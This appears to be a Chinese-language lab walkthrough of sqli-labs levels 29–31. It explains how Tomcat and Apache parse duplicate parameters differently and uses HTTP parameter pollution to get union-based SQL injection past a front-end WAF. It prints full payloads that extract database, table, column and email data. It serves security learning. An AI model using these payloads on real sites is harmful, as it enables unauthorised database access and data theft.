目录
Less-29-基于GET_双服务器_单引号_字符型注入
首先进入29关: 可以看到页面说:“该网站由世界上最好的防火墙保护”。我们就来攻破这个防火墙。
这一关可以使用联合注入,非常简单。但是这里我要使用HTTP参数污染攻击去攻击这个网站。
我们先测试以下注入点,输入语句:
?id=1\
页面回显:
可以看到注入点是单引号。
因为这一关中涉及到了双服务器,所以这里我简单讲一下双服务器的工作原理。
双服务器解析
在这一关中服务器端由两个部分组成:第一部分是以 Tomcat 为引擎的 jsp型服务器,第二部分是以 Apache 为引擎的 php服务器,真正提供web服务的是以 Apache 为引擎的 php服务器。也就是这个服务器决定页面最终回显什么。
下图是双服务器工作原理示意图:
其工作流程为:client访问服务器,能直接访问到 Tomcat服务器,然后 Tomcat服务器再向Apache服务器请求数据。数据返回路径则相反。
那么我们如果输入语句:
?id=1&&id=2
那么根据上图的工作原理,你们觉得页面应该返回哪个数据呢?
客户端请求首先过 Tomcat服务器,Tomcat服务器解析第一个参数,接下来 Tomcat服务器去请求 Apache(php)服务器,Apache服务器解析最后一个参数。
所以说此处应该返回的是 id=2 的用户的信息,因为实际上提供服务的是 Apache(php)服务器,返回的数据也应该是经过 Apache处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在Tomcat服务器处做数据过滤和处理,功能类似为一个WAF(web应用防护系统)。而正因为解析参数的位置不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP(HTTP Parameter Pollution),HTTP参数污染攻击的一个应用。HPP对服务器和客户端都能够造成一定的威胁。
下图是各种服务器解析参数位置的示意图:
可以看到 Apache服务器解析的是最后一个参数,Tomcat服务器解析的是第一个参数。不同的参数由不同的服务器去解析。
所以说我们写注入语句的时候要写到最后一个参数的后面,因为如果我们写到了第一个参数后面的话,第一个参数是给 Tomcat服务器解析的,而一般程序都会在 Tomcat服务器做数据过滤的处理,那我们输入的注入语句很可能就被过滤了,并不会将我们输入的注入语句传给真正控制页面回显的 Apache服务器。但是我们可以利用不同服务器对参数解析位置的不同直接将注入语句写入到最后一个参数后面,那这样我们的注入语句就绕过 Tomcat服务器直接传入到 Apache服务器中了,这样就攻击成功了。
我们可以测试一下,首先我们将注入语句写到第一个参数后面:
?id=0' union select 1,2,3--+&&id=2
页面回显:
可以看到页面依旧回显 id=2 的用户的信息,我们的注入语句完全无效。接下来我们输入到最后一个参数后做测试:
?id=1&&id=0' union select 1,2,3 --+
页面回显:
可以看到成功回显了页面的显示位。攻击成功了,接下来就使用联合注入就可以了。
爆破数据库名
输入语句:
?id=1&&id=2' union select 1,database(),3 --+
页面回显:
可以看到成功爆破数据库名字。
爆破表名
输入语句:
?id=1&&id=2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
页面回显:
可以看到成功爆破了表名。
爆破列名
输入语句:
?id=1&&id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+
页面回显:
可以看到成功爆破了表 emails 的列名。
爆破字段值
输入语句:
?id=1&&id=0' union select 1,group_concat(id,email_id),3 from emails --+
页面回显:
可以看到成功爆破了表 emails 的字段值。
到此29关就结束了。
Less-30-基于GET_双服务器_双引号_字符型注入
这一关除了注入点和29关不同外其余都一样,30关的注入点为双引号。
Less-31-基于GET_双服务器_双引号加括号_字符型注入
这一关除了注入点和29关不一样外其余都一样,31关注入点为 ") 。
总结
这一篇博客我主要将了HTTP参数污染攻击。同时讲了一下双服务器的工作原理。